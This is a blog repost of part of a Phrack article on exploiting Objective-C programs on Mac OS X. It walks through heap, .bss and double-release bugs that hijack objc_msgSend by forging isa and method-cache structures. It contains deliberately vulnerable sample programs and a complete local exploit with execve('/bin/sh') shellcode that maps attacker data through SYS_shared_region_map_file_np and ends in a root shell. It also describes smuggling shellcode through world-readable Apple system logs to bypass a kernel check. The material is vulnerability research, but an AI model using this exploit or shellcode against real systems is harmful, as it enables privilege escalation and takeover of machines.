佳为好友

转:深入理解ObjectiveC Part3

创建:10-9-25

转:http://www.phrack.org/issues.html?issue=66&id=4#article

--[ 5 - Exploiting Objective-C Applications

Hopefully at this stage you're fairly familiar with the Objective-C
runtime. In this section we'll look at some of the considerations of
exploiting an Objective-C application on Mac OS X.

In order to explore this, we'll first start by looking at what happens when
an object allocation (alloc method) occurs for an Objective-C class.

So basically, when the alloc method is called ([Object alloc]) the
_internal_class_creatInstanceFromZone function is called in the Objective-C
runtime. The source code for this function is shown below.

/***********************************************************************
* _internal_class_createInstanceFromZone.  Allocate an instance of the
* specified class with the specified number of bytes for indexed
* variables, in the specified zone.  The isa field is set to the
* class, C++ default constructors are called, and all other fields are zeroed.
**********************************************************************/
__private_extern__ id
_internal_class_createInstanceFromZone(Class cls, size_t extraBytes,
                                       void *zone)
{
    id obj;
    size_t size;

    // Can't create something for nothing
    if (!cls) return nil;

    // Allocate and initialize
    size = _class_getInstanceSize(cls) + extraBytes;
    if (UseGC) {
        obj = (id) auto_zone_allocate_object(gc_zone, size,
                                        AUTO_OBJECT_SCANNED, false, true);
    } else if (zone) {
        obj = (id) malloc_zone_calloc (zone, 1, size);
    } else {
        obj = (id) calloc(1, size);
    }
    if (!obj) return nil;

    // Set the isa pointer
    obj->isa = cls;

    // Call C++ constructors, if any.
    if (!object_cxxConstruct(obj)) {
        // Some C++ constructor threw an exception. 
        if (UseGC) {
            auto_zone_retain(gc_zone, obj);  
        // gc free expects retain count==1
        }
        free(obj);
        return nil;
    }

    return obj;
}

As you can see, this function basically just looks up the size of the class
and uses calloc to allocate some (zero filled) memory for it on the heap.

From the code above we can see that the calls to calloc etc allocate memory 
from the default malloc zone. This means that the class meta-data and
contents are stored in amongst any other allocations the program makes.
Therefore, any overflows on the heap in an objc application are liable
to end up overflowing into objc meta-data. We can utilize this to gain
control of execution.

/***********************************************************************
* _objc_internal_zone.
* Malloc zone for internal runtime data.
* By default this is the default malloc zone, but a dedicated zone is 
* used if environment variable OBJC_USE_INTERNAL_ZONE is set.
**********************************************************************/

However, if you set the OBJC_USE_INTERNAL_ZONE environment variable before
running the application, the Objective-C runtime will use it's own malloc
zone. This means the objc meta-data will be stored in another mapping, and
will stop these attacks. This is probably worth doing for any services you
run regularly (written in objective-c) just to mix up the address space a
bit.

The first thing we'll look at, in regards to this process, is how the class
size is calculated. This will determine which region on the heap this
allocation takes place from. (Tiny/Small/Large/Huge). For more information
on how the userspace heap implementation (Bertrand's malloc) works, you can
check my heap exploitation techniques paper [11].]

As you saw in the code above, when the 
_internal_class_createInstanceFromZone function wants to determine the size
of a class, the first step it takes is to call the _class_getInstanceSize() 
function.

This basically just looks up the instance_size attribute from inside our
class struct. This means we can easily predict which region of the heap our
particular object will reside.

Ok, so now we're familiar with how the object is allocated we can explore
this in memory.

The first step is to copy the HelloWorld sample application we made earlier
to ofex1 as so...

-[dcbz@megatron:~/code]$ cp -r HelloWorld/ ofex1

We can then modify the hello.c file to perform an allocation with malloc()
prior to the class being alloc'ed.

The code then uses strcpy() to copy the first argument to this program into
our small buffer on the heap. With a large argument this should overflow
into our objective-c object.

include <stdio.h>
#include <stdlib.h>
#import "Talker.h"

int main(int ac, char **av)
{
        char *buf = malloc(25);
        Talker *talker = [[Talker alloc] init];
        printf("buf: 0x%x\n",buf);
        printf("talker: 0x%x\n",talker);
        if(ac != 2) {
                exit(1);
        }
        strcpy(buf,av[1]);
        [talker say: "Hello World!"];
        [talker release];
}

Now if we recompile our sample code, and fire up gdb, passing in a long
argument, we can begin to investigate what's needed to gain control of
execution.

(gdb) r `perl -e'print "A"x5000'`
Starting program: /Users/dcbz/code/ofex1/build/hello `perl -e'print
"A"x5000'`
buf: 0x103220
talker: 0x103260

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414161
0x9470d688 in objc_msgSend ()

As you can see from the output above, buf is 64 bytes lower on the heap
than talker. This means overflowing 68 bytes will overwrite the isa pointer
in our class struct.

This time we run the program again, however we stick 0xcafebabe where our
isa pointer should be.

(gdb) r `perl -e'print "A"x64,"\xbe\xba\xfe\xca"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/ofex1/build/hello `perl -e'print
"A"x64,"\xbe\xba\xfe\xca"'`
buf: 0x1032c0
talker: 0x103300

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xcafebade
0x9470d688 in objc_msgSend ()
(gdb) x/i $pc
0x9470d688 <objc_msgSend+24>:   mov    edi,DWORD PTR [edx+0x20]
(gdb) i r edx
edx            0xcafebabe       -889275714

We have now controlled the ISA pointer and a crash has occured offsetting
this by 0x20 and reading. However, we're unsure at this stage what exactly
is going on here. 

In order to explore this, let's take a look at the source code for
objc_msgSend again.

// load receiver and selector
        movl    selector(%esp), %ecx
        movl    self(%esp), %eax

// check whether selector is ignored
        cmpl    $ kIgnore, %ecx
        je      LMsgSendDone            // return self from %eax

// check whether receiver is nil
        testl   %eax, %eax
        je      LMsgSendNilSelf

// receiver (in %eax) is non-nil: search the cache
LMsgSendReceiverOk:
    // -( nemo )- :: move our overwritten ISA pointer to edx.
        movl    isa(%eax), %edx         // class = self->isa 
    // -( nemo )- :: This is where our crash takes place.
    // in the CachLookup macro.
        CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss
        movl    $kFwdMsgSend, %edx      // flag word-return for _objc_msgForward
        jmp     *%eax                   // goto *imp


From the code above we can determine that our crash took place within the
CacheLookup macro. This means in order to gain control of execution from
here we're going to need a little understanding of how method caching works
for Objective-C classes.

Let's start by taking a look at our objc_class struct again. 

       struct objc_class
        { 
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };

We can see above that 32 bytes (0x20) into our struct is the cache pointer
(a pointer to a struct objc_cache instance). Therefore the instruction that
our crash took place in, is derefing the isa pointer (that we overwrote)
and trying to access the cache attribute of this struct.

Before we get into how the CacheLookup macro works, lets quickly
familiarize ourselves with how the objc_cache struct looks.

struct objc_cache {
    unsigned int mask;            /* total = mask + 1 */
    unsigned int occupied;
    cache_entry *buckets[1];
};

The two elements we're most concerned about are the mask and buckets. The
mask is used to resolve an index into the buckets array. I'll go into that
process in more detail as we read the implementation of this. The buckets
array is made up of cache_entry structs (shown below).

typedef struct {
    SEL name;     // same layout as struct old_method
    void *unused;
    IMP imp;  // same layout as struct old_method
} cache_entry;

Now let's step through the CachLookup source now and we can look at the
process of checking the cache and what we control with an overflow.

.macro  CacheLookup

// load variables and save caller registers.

        pushl   %edi                    // save scratch register
        movl    cache(%edx), %edi       // cache = class->cache
        pushl   %esi                    // save scratch register

This initial load into edi is where our bad access is performed. We are
able to control edx here (the isa pointer) and therefore control edi.

        movl    mask(%edi), %esi        // mask = cache->mask

First the cache struct is dereferenced and the "mask" is moved into esi.
We control the outcome of this, and therefore control the mask.

        leal    buckets(%edi), %edi     // buckets = &cache->buckets

The address of the buckets array is moved into edi with lea. This will come
straight after our mask and occupied fields in our fake objc_cache struct.

        movl    %ecx, %edx              // index = selector
        shrl    $$2, %edx               // index = selector >> 2

The address of the selector (c string) which was passed to objc_msgSend()
as the method name is then moved into ecx. We do not control this at all.
I mentioned earlier that selectors are basically c strings that have been
registered with the runtime. The process we are looking at now, is used to
turn the Selector's address into an index into the buckets array. This
allows for quick location of our method. As you can see above, the first
step of this is to shift the pointer right by 2.

        andl    %esi, %edx              // index &= mask
        movl    (%edi, %edx, 4), %eax   // method = buckets[index]

Next the mask is applied. Typically the mask is set to a small value
in order to reduce our index down to a reasonable size. Since we control
the mask, we can control this process quite effectively.

Once the index is determined it is used in conjunction with the base
address of the buckets array in order to move one of the bucket entries
into eax.

        testl   %eax, %eax              // check for end of bucket
        je      LMsgSendCacheMiss_$0_$1_$2      // go to cache miss code

If the bucket does not exist, it is assumed that a CacheMiss was performed,
and the method is resolved manually using the technique we described early
on in this paper.

        cmpl    method_name(%eax), %ecx // check for method name match
        je      LMsgSendCacheHit_$0_$1_$2       // go handle cache hit

However if the bucket is non-zero, the first element is retrieved which
should be the same selector that was passed in. If that is the cache, then
it is assumed that we've found our IMP function pointer, and it is called.

        addl    $$1, %edx                       // bump index ...
        jmp     LMsgSendProbeCache_$0_$1_$2 // ... and loop

Otherwise, the index is incremented and the whole process is attempted
again until a NULL bucket is found or a CacheHit occurs.

Ok, so taking this all home, lets apply what we know to our vulnerable
sample application.

We've accomplished step #1, we've overflown and controlled the isa pointer.
The next thing we need to do is find a nice patch of memory where we can
position our fake objective-c class information and predict it's address.

There are many different techniques for this and almost all of them are
situational. For a remote attack, you may wish to spray the heap, filling
all the gaps in until you can predict what's at a static location. However
in the case of a local overflow, the most reliable technique I know I wrote
about in my "a XNU Hope" paper [13]. Basically the undocumented system call
SYS_shared_region_map_file_np is used to map portions of a file into a
shared mapping across all the processes on the system. Unfortunately after
I published that paper, Apple decided to add a check to the system call to
make sure that the file being mapped was owned by root. KF originally
pointed this out to me when leopard was first released, and my macbook was
lying broken under my bed. He also noted, that there were many root owned
writable files on the system generally and so he could bypass this quite
easily. 

-[dcbz@megatron:~]$ ls -lsa /Applications/.localized 
8 -rw-rw-r--  1 root  admin  8 Apr 11 19:54 /Applications/.localized

An example of this is the /Applications/.localized file. This is at least
writeable by the admin user, and therefore will serve our purpose in this
case. However I have added a section to this paper (5.1) which demonstrates
a generic technique for reimplementing this technique on Leopard. I got
sidetracked while writing this paper and had to figure it out.

For now we'll just use /Applications/.localized however, in order to reduce
the complexity of our example.

Ok so now we know where we want to write our data, but we need to work out
exactly what to write. The lame ascii diagram below hopefully demonstrates
my idea for what to write.

       ,_____________________,
ISA -> |                     |  
       |        mask=0       |<-,
       |      occupied       |  |
   ,---|      buckets        |  |
   '-->| fake bucket: SEL    |  |
       | fake bucket: unused |  |
       | fake bucket: IMP    |--|--,
       |                     |  |  |
       |                     |  |  |
ISA+32>|   cache pointer     |--'  |
       |                     |     |
       |     SHELLCODE       |<----'
       '_____________________'

So basically what will happen, the ISA will be dereferenced and 32 will be
added to retrieve the cache pointer which we control. The cache pointer
will then point back to our first address where the mask value will be
retrieved. I used the value 0x0 for the mask, this way regardless of the
value of the selector the end result for the index will be 0. This way we
can stick the pointer from the selector we want to support (taken from ecx
in objc_msgSend.) at this position, and force a match. This will result in
the IMP being called. We point the imp at our shellcode below our cache
pointer and gain control of execution.

Phew, glad that explanation is out of the way, now to show it in code,
which is much much easier to understand. Before we begin to actually write
the code though, we need to retrieve the value of the selector, so we can 
use it in our code.

In order to do this, we stick a breakpoint on our objc_msgSend() call in
gdb and run the program again.

(gdb) break *0x00001f83 
Breakpoint 1 at 0x1f83
(gdb) r AAAAAAAAAAAAAAAAAAAAA
Starting program: /Users/dcbz/code/ofex1/build/hello AAAAAAAAAAAAAAAAAAAAA
buf: 0x103230
talker: 0x103270

Breakpoint 1, 0x00001f83 in main ()
(gdb) x/i $pc
0x1f83 <main+194>:      call   0x400a <dyld_stub_objc_msgSend>
(gdb) stepi
0x0000400a in dyld_stub_objc_msgSend ()
(gdb) 
0x94e0c670 in objc_msgSend ()
(gdb) 
0x94e0c674 in objc_msgSend ()
(gdb) s
0x94e0c678 in objc_msgSend ()
(gdb) x/s $ecx
0x1fb6 <main+245>:       "say:"

As you can see, the address of our selector is 0x1fb6.

(gdb) info share $ecx
  2 hello                 - 0x1000            exec Y Y
/Users/dcbz/code/ofex1/build/hello (offset 0x0)

If we get some information on the mapping this came from we can see it was
directly from our binary itself. This address is going to be static each
time we run it, so it's acceptable to use this way. 

Ok now that we've got all our information intact, I'll walk through a 
finished exploit for this.


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <mach/vm_prot.h>
#include <mach/i386/vm_types.h>
#include <mach/shared_memory_server.h>
#include <string.h>
#include <unistd.h>

#define BASE_ADDR 0x9ffff000
#define PAGESIZE  0x1000
#define SYS_shared_region_map_file_np 295

We're going to map our data, at the page 0x9ffff000-0xa0000000 this way
we're guaranteed that we'll have an address free of NULL bytes.

char nemox86exec[] = 
// x86 execve() code / nemo
"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
"\x80\x31\xc0\x50\xb0\x17\x6a\x7f"
"\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x54\x54\x53\x53\xb0\x3b"
"\xcd\x80";
 

I'm using some simple execve("/bin/sh") shellcode for this. But obviously
this is just for local vulns.


struct _shared_region_mapping_np {
        mach_vm_address_t       address;
        mach_vm_size_t          size;
        mach_vm_offset_t        file_offset;
        vm_prot_t               max_prot;   /* read/write/execute/COW/ZF */
        vm_prot_t               init_prot;  /* read/write/execute/COW/ZF */
};

struct cache_entry {
    char *name;     // same layout as struct old_method
    void *unused;
    void (*imp)();  // same layout as struct old_method
};

struct objc_cache {
    unsigned int mask;            /* total = mask + 1 */
    unsigned int occupied;
    struct cache_entry *buckets[1];
};

struct our_fake_stuff {
    struct objc_cache fake_cache;
    char filler[32 - sizeof(struct objc_cache)];
    struct objc_cache *fake_cache_ptr;
};

We define our structs here. I created a "our_fake_stuff" struct in order to
hold the main body of our exploit. I guess I should have stuck the
objc_cache struct we're using in here. But I'm not going to go back and
change it now... ;p

#define ROOTFILE "/Applications/.localized"

This is the file which we're using to store our data before we load it into
the shared section.

int main(int ac, char **av)
{
    int fd;
    struct _shared_region_mapping_np sr;
    char data[PAGESIZE];
    char *ptr = data + PAGESIZE - sizeof(nemox86exec) - sizeof(struct our_fake_stuff) - sizeof(struct objc_cache);
    long knownaddress;
    struct our_fake_stuff ofs;
    struct cache_entry bckt;
    #define EVILSIZE 69
    char badbuff[EVILSIZE];
    char *args[] = {"./build/hello",badbuff,NULL};
    char *env[]  = {"TERM=xterm",NULL};

So basically I create a char[] buff PAGESIZE in size where I store
everything I want to map into the shared section. Then I write the whole
thing to a file. args and env are used when I execve the vulnerable
program.
    
    printf("[+] Opening root owned file: %s.\n", ROOTFILE);
    if((fd=open(ROOTFILE,O_RDWR|O_CREAT))==-1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

I open the root owned file...

    // fill our data buffer with nops. Why? Why not!
    memset(data,'\x90',sizeof(data));

    knownaddress = BASE_ADDR + PAGESIZE - sizeof(nemox86exec) - 
    sizeof(struct our_fake_stuff) - sizeof(struct objc_cache);

knownaddress is a pointer to the start of our data. We position all our
data towards the end of the mapping to reduce the chance of NULL bytes.

    ofs.fake_cache.mask       = 0x0;        // mask = 0 
    ofs.fake_cache.occupied   = 0xcafebabe; // occupied
    ofs.fake_cache.buckets[0] = knownaddress + sizeof(ofs);

The ofs struct is set up according to the method documented above. The mask
is set to 0, so that our index ends up becoming 0. Occupied can be any
value, I set it to 0xcafebabe for fun. Our buckets pointer basically just
points straight after itself. This is where our cache_entry struct is going
to be stored.

    bckt.name   = (char *)0x1fb6; // our SEL
    bckt.unused = (void *)0xbeef; // unused
    bckt.imp    = (void (*)())(knownaddress + 
            sizeof(struct our_fake_stuff) + 
            sizeof(struct objc_cache)); // our shellcode

Now we set up the cache_entry struct. Name is set to our selector value
which we noted down earlier. Unused can be set to anything. Finally imp is
set to the end of both of our structs. This function pointer will be called
by the objective-c runtime, after our structs are processed. 

    // set our filler to "A", who cares.
    memset(ofs.filler,'\x41',sizeof(ofs.filler));
    ofs.fake_cache_ptr = (struct objc_cache *)knownaddress;

Next, we fill our filler with "A", this can be anything, it's just a pad so
that our fake_cache_ptr will be 32 bytes from the start of our ISA struct.
Our fake_cache_ptr is set up to point back to the start of our data
(knownaddress). This way our fake_cache struct is processed by the runtime.

    // stick our struct in data.
    memcpy(ptr,&ofs,sizeof(ofs));
    // stick our cache entry after that
    memcpy(ptr+sizeof(ofs),&bckt,sizeof(bckt));
    // stick our shellcode after our struct in data.
    memcpy(ptr+sizeof(ofs)+sizeof(bckt),nemox86exec
        ,sizeof(nemox86exec));

Now that our structs are set up, we simply memcpy() each of them into the
appropriate position within the data[] blob....

    printf("[+] Writing out data to file.\n");
    if(write(fd,data,PAGESIZE) != PAGESIZE)
    {
        perror("write");
        exit(EXIT_FAILURE);
    }

... And write this out to our file.

    sr.address     = BASE_ADDR;
    sr.size        = PAGESIZE;
    sr.file_offset = 0;
    sr.max_prot    = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
    sr.init_prot   = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; 

    printf("[+] Mapping file to shared region.\n");

    if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==-1)
    {
        perror("shared_region_map_file_np");
        exit(EXIT_FAILURE);
    }


    close(fd);

Our file is then mapped into the shared region, and our fd discarded.

    printf("[+] Fake Objective-C chunk at: 0x%x.\n", knownaddress);

    memset(badbuff,'\x41',sizeof(badbuff));
    //knownaddress = 0xcafebabe;
    badbuff[sizeof(badbuff) - 1] = 0x0;
    badbuff[sizeof(badbuff) - 2] = (knownaddress & 0xff000000) >> 24;
    badbuff[sizeof(badbuff) - 3] = (knownaddress & 0x00ff0000) >> 16;
    badbuff[sizeof(badbuff) - 4] = (knownaddress & 0x0000ff00) >>  8;
    badbuff[sizeof(badbuff) - 5] = (knownaddress & 0x000000ff) >>  0;
    printf("[+] Executing vulnerable app.\n");

Before finally we set up our badbuff, which will be argv[1] within our
vulnerable application. knownaddress (The address of our data now stored
within the shared region.) is used as the ISA pointer.

    execve(*args,args,env);

    // not reached.
    exit(0);
}

For your convenience I will include a copy of this exploit/vuln along with
most of the other code in this paper, uuencoded at the end.

As you can see from the following output, running our exploit works as
expected. We're dropped to a shell. (NOTE: I chown root;chmod +s'ed the
build/hello file for effect.)

-[dcbz@megatron:~/code/ofex1]$ ./exploit 
[+] Opening root owned file: /Applications/.localized.
[+] Writing out data to file.
[+] Mapping file to shared region.
[+] Fake Objective-C chunk at: 0x9fffffa5.
[+] Executing vulnerable app.
buf: 0x103500
talker: 0x103540
bash-3.2# id
uid=0(root)

Hopefully in this section I have provided a viable method of exploiting
heap overflows in an Objective-c Environment.

Another technique revolving around overflowing Objective-C meta-data is an
overflow on the .bss section. This section is used to store static/global
data that is initially zero filled.

Generally with the way gcc lays out the binary, the __class section comes
straight after the .bss section. This means that a largish overflow on the
.bss will end up overwriting the isa class definition structs, rather than
the instantiated classes themselves, as in the previous example.

In order to test out what will happen we can modify our previous example to
move buf from the heap to the .bss. I also changed the printf responsible
for printing the address of the Talker class, to deref the first element
and print the address of it's isa instead.

#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"

char buf[25];

int main(int ac, char **av) 
{
        Talker *talker = [[Talker alloc] init];
        printf("buf: 0x%x\n",buf);
        printf("talker isa: 0x%x\n",*(long *)talker);
        if(ac != 2) {
                exit(1);
        }
        strcpy(buf,av[1]);
        [talker say: "Hello World!"];
        [talker release];
}

When we compile this and run it in gdb, we can see a couple of things.
Firstly, that the talkers isa struct is only around 4096 bytes apart from
our buffer. 

(gdb) r `perl -e'print "A"x4150'`
Starting program: /Users/dcbz/code/ofex2/build/hello `perl -e'print
"A"x4150'`
Reading symbols for shared libraries +++++...................... done
buf: 0x2040
talker isa: 0x3000

We also get a crash in the following instruction:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x94e0c68c in objc_msgSend ()
(gdb) x/i $pc
0x94e0c68c <objc_msgSend+28>:   mov    0x0(%edi),%esi
(gdb) i r edi
edi            0x41414141       1094795585

This instruction looks pretty familiar from our previous example.
As you can guess, this instruction is looking up the cache pointer, exactly
the same as our previous example. The only real difference is that we're
skipping a step. Rather than overflowing the ISA pointer and then creating
a fake ISA struct, we simply have to create a fake cache in order to gain
control of execution.

I'm not going to bother playing this one out for you guys in the paper,
cause this monster is already getting quite long as it is. I'll include the
sample code in the uuencoded section at the end though, feel free to play
with it.

As you can imagine, you simply need to set up memory as such:

       ,_____________________,
       |        mask=0       |   
       |      occupied       |   
   ,---|      buckets        |    
   '-->| fake bucket: SEL    |   
       | fake bucket: unused |   
       | fake bucket: IMP    |-----,
       |     SHELLCODE       |<----'
       '_____________________'

and point edi to the start of it to gain control of execution.

These two techniques provide some of the easiest ways to gain control of
execution from a heap or .bss overflow that i've seen on Mac OS X.

The last type of bug which I will explore in this paper, is the double 
"release". This is a double free of an Objective-C object.

The following code demonstrates this situation.

#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"


int main(int ac, char **av)
{
        Talker *talker = [[Talker alloc] init];
        printf("talker: 0x%x\n",talker);
        printf("Talker is: %i bytes.\n", sizeof(Talker));
        if(ac != 2) {
                exit(1);
        }
        char *buf  = strdup(av[1]);
        printf("buf @ 0x%x\n",buf);
        [talker say: "Hello World!"];
        [talker release];    // Free
        [talker release];    // Free again...
}

If we compile and execute this code in gdb, the following situation occurs:


-[dcbz@megatron:~/code/p66-objc/ofex3]$ gcc Talker.m hello.m
-framework Foundation -o hello
-[dcbz@megatron:~/code/p66-objc/ofex3]$ gdb ./hello
GNU gdb 6.3.50-20050815 (Apple version gdb-768) 
Copyright 2004 Free Software Foundation, Inc.

(gdb) r AA
Starting program: /Users/dcbz/code/p66-objc/ofex3/hello AA
talker: 0x103280
Talker is: 4 bytes.
buf @ 0x1032d0
Hello World!
objc[1288]: FREED(id): message release sent to freed object=0x103280

Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand.
0x90c65bfa in _objc_error ()
(gdb) x/i $pc
0x90c65bfa <_objc_error+116>:   ud2a   
(gdb) 

This ud2a instruction is guaranteed to throw an Illegal instruction and
terminate the process. This is Apple's protection against double releases.

If we look at what's happening in the source we can see why this occurs.

__private_extern__ IMP _class_lookupMethodAndLoadCache(Class cls, SEL sel)
{
    Class curClass;
    IMP methodPC = NULL;

    // Check for freed class
    if (cls == _class_getFreedObjectClass())
        return (IMP) _freedHandler;

As you can see, when the lookupMethodAndLoadCache function is called, 
(when the release method is called) the cls pointer is compared with the
result of the _class_getFreeObjectClass() function. This function returns
the address of the previous class which was released by the runtime. If a
match is found, the _freedHandler function is returned, rather than the
desired method implementation. _freedHandler is responsible for outputting
a message in syslog() and then using the ud2a instruction to terminate the
process.

This means that any method call on a free()'ed object will always
error out. However, if another object is released inbetween, the behaviour
is different.

To investigate this we can use the following program:

#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"


int main(int ac, char **av)
{
        Talker *talker = [[Talker alloc] init];
        Talker *talker2 = [[Talker alloc] init];
        printf("talker: 0x%x\n",talker);
        printf("talker is: %i bytes.\n", malloc_size(talker));
        if(ac != 2) {
                exit(1);
        }
        [talker release];
        [talker2 release];
        int i;
        for(i=0; i<=50000 ; i++) {
                char *buf  = strdup(av[1]);
        //printf("buf @ 0x%x\n",buf);
                // leak badly
        }
        [talker say: "Hello World!"];
        [talker release];
}

If we run this, with gdb attached, we can see that it crashes in the
following instruction.

(gdb) r aaaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/p66-objc/ofex3/hello aaaa
talker: 0x103280
talker is: 16 bytes.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x61616181
0x90c75688 in objc_msgSend ()
(gdb) x/i $pc
0x90c75688 <objc_msgSend+24>:   mov    edi,DWORD PTR [edx+0x20]

As you can see, this instruction (objc_msgSend+24) is our objc_msgSend call 
trying to look up the cache pointer from our object. The ISA pointer in edx
contains the value 61616161 ("aaaa"). This is because our little for loop
of heap allocations, eventually filled in the gaps in the heap, and
overwrote our free'ed object. 

Once we control the ISA pointer in this instruction, the situation is again
identical to a standard heap overflow of an Objective-C object.

I will leave it again as an exercize for the reader to implement this.

------[ 6.1 - Side note: Updated shared_region technique.

In the previous section we used the shared_region technique to store our
code in a fixed location in the address space of our vulnerable
application. However, in order to do so, we required a file that was owned
by root and controllable/readable by us. 

The file that we used:

8 -rw-rw-r--  1 root  admin  4096 Apr 12 17:30 /Applications/.localized

Was only writeable by the admin user, so this isn't really a viable
solution to the problem apple presented us with.

As I said earlier, I've been away from Mac OS X for a while, so I haven't
had a chance to get around this new check, in the past. While I was writing
this paper I was contemplating possible methods of defeating it.

My first thought, was to find a suid which created a root owned file,
controllable by us, and then sigstop it. However I did not find any suids
which met our requirements with this.

I also tried mounting a volume obeying file ownership which contained a
previously created root owned file. However there is a check in the syscall
which makes sure that our file is on the root volume, so that was outed.

Finally I thought about log files. Something like syslog would be perfect
where I could arbitrarily control the contents. The only problem with this
idea is that no one in their right mind would allow their syslog to be
world readable.

This is when I stumbled across the "Apple system log facility." A.S.L?
Amazingly apple took it upon themselves to reinvent the wheel. Apple syslog
is designed to be readable by everyone on the system. By default any user
can see sudo messages etc.

The man page describes ASL as follows:

DESCRIPTION

These routines provide an interface to the Apple system log facility.  They
are intended to be a replacement for the syslog(3) API, which will continue
to be supported for backwards compatibility.  The new API allows client
applications to create flexible, structured messages and send them to the
syslogd server, where they may undergo additional processing.  Messages
received by the server are saved in a data store (subject to input filtering
constraints).  This API permits clients to create queries and search the
message data store for matching messages.

There's even a section on security that seems to think allowing everyone to
view your system log is a good thing...

SECURITY

Messages that are sent to the syslogd server may be saved 
in a message store.  The store may be searched using asl_search, as 
described below.  By default, all messages are readable by any user.
However, some applications may wish to restrict read access for some 
messages.  To accommodate this, a client may set a value for the "ReadUID" 
and "ReadGID" keys.  These keys may be associated with a value
containing an ASCII representation of a numeric UID or GID.  Only the 
root user (UID 0), the user with the given UID, or a member of the group with  
the given GID may fetch access-controlled messages from the database.

So basically we can use the "asl_log()" function to add arbitrary data to
the log file. The log file is stored in /var/log/asl/YYYY.MM.DD.asl and as
you can see below this file is world readable. This works perfect for what
we need.

344 -rw-r--r--  1 root  wheel  172377 Apr 12 18:40
/var/log/asl/2009.04.12.asl

I wrote a tool "14-f-brazil.c" which basically takes some shellcode in
argv[1] then sends it to the latest asl log with asl_log(). It then maps
the last page of the log file straight into the shared section.

I stuck a unique identifier:

        #define NEMOKEY "--((NEMOKEY))--:>>"

before the shellcode in memory, and then just scanned memory in the shared
mapping in the current process in order to locate the key, and therefore 
our shellcode.

Here is the output from running the program:

-[dcbz@megatron:~/code]$ ./14-f-brazil `perl -e'print "\xcc"x20'`
[+] opening logfile: /var/log/asl/2009.04.12.asl.
[+] generating shellcode buffer to log.
[+] writing shellcode to logfile.
[+] creating shared mapping.
[+] file offset: 0x16000
[+] Waiting a bit.
[+] scanning memory for the shellcode... (this may crash).
[+] found shellcode at: 0x9ffff674.


And as you can see in gdb, we have a nopsled at that address.

-[dcbz@megatron:~/code]$ gdb /bin/sh
GNU gdb 6.3.50-20050815 (Apple version gdb-768) 

(gdb) r
Starting program: /bin/sh
^C[Switching to process 342 local thread 0x2e1b]
0x8fe01010 in __dyld__dyld_start () 
Quit
(gdb) x/x 0x9ffff674
0x9ffff674:     0x90909090
(gdb)
0x9ffff678:     0x90909090  
(gdb)
0x9ffff67c:     0x90909090
(gdb)
0x9ffff680:     0x90909090
(gdb)
0x9ffff684:     0x90909090

Andrewg predicts that after this paper Apple will add a check to make sure
that the file is executable, prior to mapping it into the shared section.

Should be interesting to see if they do this. :p

I'll include 14-f-brazil.c in the uuencoded code at the end of this paper.

+++++

posted on 2012-12-25 09:54 佳为好友 阅读(293) 评论(0)  编辑 收藏 引用 所属分类: Debug-GDB


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理


导航

<2012年12月>
2526272829301
2345678
9101112131415
16171819202122
23242526272829
303112345

留言簿(1)

随笔分类

搜索

最新评论

评论排行榜